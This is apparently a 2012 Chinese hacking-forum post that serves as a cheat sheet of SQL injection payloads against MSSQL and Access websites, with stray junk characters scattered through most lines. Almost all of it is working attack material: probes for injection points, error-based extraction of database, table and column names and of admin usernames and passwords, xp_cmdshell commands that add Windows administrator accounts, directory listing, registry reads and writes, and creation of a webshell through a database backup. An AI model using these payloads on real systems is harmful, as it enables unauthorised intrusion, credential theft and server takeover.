中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
8 H+ Z: l* X! }, w/ W( O7 r* w$ Z& q;and 1=1 - i9 v5 W+ [  I/ `1 N) {4 m5 s9 m
;and 1=2 3 ]& i" K" ~: o! l8 i6 k
# \+ N, T( O( g/ U& R
2.初步判断是否是mssql * F* n. R; v$ n: m% y4 G
;and user>0
% P: C, \4 @/ h0 {2 G- z" l& I, S0 b9 U8 |  Z6 F* i+ r  x
3.判断数据库系统
/ e& M9 i% y8 g1 K;and (select count(*) from sysobjects)>0 mssql
! J2 S' R9 K7 @: ^;and (select count(*) from msysobjects)>0 access , o0 P# w. G  K1 \
) V3 o& c0 U+ P; K6 l/ h2 _- ?0 o
4.注入参数是字符
6 ]9 w! l3 T2 h'and [查询条件] and ''='
  r0 B; L, P; u2 q+ L2 `
) q" L: ?: ]) z8 p5.搜索时没过滤参数的   v% H. Q" p2 I+ i0 j
'and [查询条件] and '%25'=' 6 _: P" ~  X+ p( T, }- d4 r
5 \8 l/ U) A! C& y+ p# y% N
6.猜数表名
5 F3 h& b! B0 O( R$ ];and (select Count(*) from [表名])>0
, W- z# {; U( V% a1 P  @
" l( t/ Z) F4 X; t7.猜字段
$ M+ ?6 G+ k, t' j% V;and (select Count(字段名) from 表名)>0 ) x' F, @7 s, J0 D$ ]! J7 X" d

3 T0 l( b5 }: O8.猜字段中记录长度
* ~. }3 J+ R% O! y;and (select top 1 len(字段名) from 表名)>0 5 a/ b$ V5 t$ `0 X( A, u* K/ r
8 E* J8 e7 _  c' r. ?
9.(1)猜字段的ascii值(access) - Z  {6 @/ Z% Z/ X$ v8 z* m/ C/ m) O
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 . c) ]- }) F: m5 c
2 _+ n' J3 n; M# x
(2)猜字段的ascii值(mssql)
; `8 i! ^% |; V# \  _& L;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
( E, r0 N/ s1 R
% K- c1 S. V: A$ T5 \. z10.测试权限结构(mssql)
9 O& s. l" _+ g- m' g;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- : ]4 I9 {& M, E
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ; m; S  S. b; J3 U9 B+ t1 f, Z* @0 d
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 u. T6 A3 O/ Z: p% w& S;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( x1 a  H) s) W  m( Y7 I& @
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ( Z- O$ X6 u9 g$ m+ [' @
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- t8 m  g; j; E4 h  Q5 N;and 1=(select IS_MEMBER('db_owner'));-- 3 W& _3 G* I! G- n8 I& M
6 j  Q/ S# Z. ?6 m4 M5 U/ x; J
11.添加mssql和系统的帐户 + b0 p- D/ k/ Q( X2 R: u& y
;exec master.dbo.sp_addlogin username;-- 7 A# t! ~8 v/ y% }, z
;exec master.dbo.sp_password null,username,password;-- - E9 n4 g+ {  {7 C
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" ~2 H6 s9 q2 e! |: U;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
5 C# C8 R! l1 y; ^& I  l;exec master.dbo.xp_cmdshell 'net user username password /add';-- + I; V9 M- P  X0 ~$ o- g9 Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
' e' P4 ^. F0 T4 v+ o& J( q; r
1 ]8 w4 C+ u7 j) O0 T* L, y12.(1)遍历目录 " l% }4 u$ w$ ?* f; N1 e. r
;create table dirs(paths varchar(100), id int) ( C5 Q+ X: Z6 ]
;insert dirs exec master.dbo.xp_dirtree 'c:\'
4 N: ?3 }4 c3 z2 @, @;and (select top 1 paths from dirs)>0
9 M' V6 }+ B1 w0 o6 o: P+ `, F. C;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9 B1 D5 ^! E- t9 M

) n$ b9 E/ b' X2 |(2)遍历目录 & H4 ]  ^: x" \* z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
  d. V' y0 |! ~2 S# \0 w;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
4 I8 z3 p% m. `2 i  o  p;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! k6 b. j) K+ F! f;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ! F8 \- l7 i: G1 v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
: N" Y1 |- R- i+ R7 ^% _+ u
2 {$ h; `4 J9 W$ H13.mssql中的存储过程 0 C1 p5 g# c  a) ?1 k9 {5 Q
xp_regenumvalues 注册表根键, 子键 : g( `8 W0 {$ F. i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 : e5 H9 _6 v8 ^5 P2 Y2 F* A' X. }" E
xp_regread 根键,子键,键值名
/ Y0 m5 \0 Y, g0 j) d;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
: N( |9 Q/ G7 K! l6 ^( txp_regwrite 根键,子键, 值名, 值类型, 值
/ |  {$ V5 G% \值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $ d! G) ]) y+ \& M8 c" g" s# b, Y. }
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! |  r( P+ Y$ n' m. c
xp_regdeletevalue 根键,子键,值名 " Y: ~" o: {5 T# x. T
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 - c) t) g8 y, r, k
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: I5 U/ o' L1 A7 _5 o& k, L+ P6 O# v! [  }
14.mssql的backup创建webshell 5 F& @4 m) G+ F* @1 ?* B
use model
# J7 h% n  X# l. |' pcreate table cmd(str image); + U8 u/ W% {! z+ p* t" z
insert into cmd(str) values ('<% Dim oScript %>');
+ x2 D: K" Z' z1 y$ }backup database model to disk='c:\l.asp';
9 Y( ]5 S  p, M# Y8 ]$ K' G0 X/ F: q+ ]6 u3 {( B/ X5 X* Z
15.mssql内置函数 # k) j5 W+ w2 {; p7 R, j4 R# d
;and (select @@version)>0 获得Windows的版本号
7 e$ J1 L7 n1 h5 ]+ D;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 X, J. _- W  f/ V) s
;and (select user_name())>0 爆当前系统的连接用户 5 j6 f' U9 C" l  r1 u
;and (select db_name())>0 得到当前连接的数据库
/ V) X# k, v8 \1 h
' ^+ l3 q. @& i  f* \) f* i( j- @6 y( X) D! q; m
" J  U6 p. `' k
MSSQL手注暴库
/ b9 m: B7 y) o0 a! i' F' H8 H+ j$ a* ^3 _
1.暴出当前表名和列名
2 D* H2 `* x3 K( k4 a在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。6 P! Y8 e5 ~6 j8 J+ x
: P2 L! F) C% B: \& p
第一.爆出所有数据库名9 \. l8 e8 G! Q
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" a& k. F6 Y4 n# ?/ C
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。% R4 g1 f& B& M/ s; N$ s  `
1 q8 ^+ {& l6 S& F# D1 S4 f$ v
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名3 B5 `: U9 ~8 `. f
$ [. A7 ]" o( u4 h& [
9 @2 @; `1 D( F, [8 U5 M9 E
第二.爆出指定库中的所有表名
6 e4 b7 J* B- O得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。2 F# n! s) L2 j; q1 _
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 p" g- a8 x+ {% \- i- M$ u  U  u5 M: H: I* t
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--: {/ q' R  l$ e' {' Y
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--% n6 Q/ e# B( O9 j8 W9 a4 _% j) p! m( ]
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--) I% ~3 G  o  ~8 b

/ `7 p4 b; t( a4.爆出指定表中的所有列名0 x+ `, A! u4 z  l( w0 d" F
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) & C1 q( \: T$ U, K
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
7 x" r+ m0 i$ B0 e' ^  ^
* q9 T# p; \( [& Kand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名! h, V/ {( V; C3 l/ d( N
& Z3 M5 s) m. z' n; g* l8 W
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- $ x6 Z+ C' K; h, s8 V' n4 y2 A7 X
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
* z3 R3 ~# f$ u1 i! c, {# t$ a% R! y! p( E) y

/ q; L; o7 L+ Zand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值2 ^2 i# L* k5 N: a3 w

6 S+ w% y0 U2 ]0 g, _and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名( p1 ^2 c" _( K6 V* ^9 i

5 c- g5 x1 c, e, X+ nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
" n, u6 o' Z# ]& t% V) f
; v; r$ F+ E* q0 S# a4 R( z
7 p1 C) w+ u' a# f' o1 V. ?4 p: O8 v$ D  Y( U( B3 |% M
5.读取指定表中的数据# Q5 s. R& N/ H9 b* N9 r: B4 y9 k
: |& Z. n* U4 p) M3 E/ z  K' u& C) U
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
2 E) n2 Q9 M0 s
! c# h/ W" {' F) ~; u, r, wand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
, H+ F! r. }! N) K
) y4 }7 M7 J! J/ A. c3 Y* Uand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
# f. ]7 g* l+ G: D$ H6 j6 X) \1 t
0 B, ^8 M6 P4 j# c
' j; r& f- q! V  y% H# kand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
1 V& p/ a  U- N2 K' _, x) ?7 `1 O7 h% D
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 B3 G% v; f) \! z. b

% z7 t3 |$ Y# o. w0 v3 Mand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
3 D9 G" d. y6 N  A6 c
; G- \& f) A1 ^5 N: I5 G知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
8 w6 ^- j$ K" r1 o* o* C




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2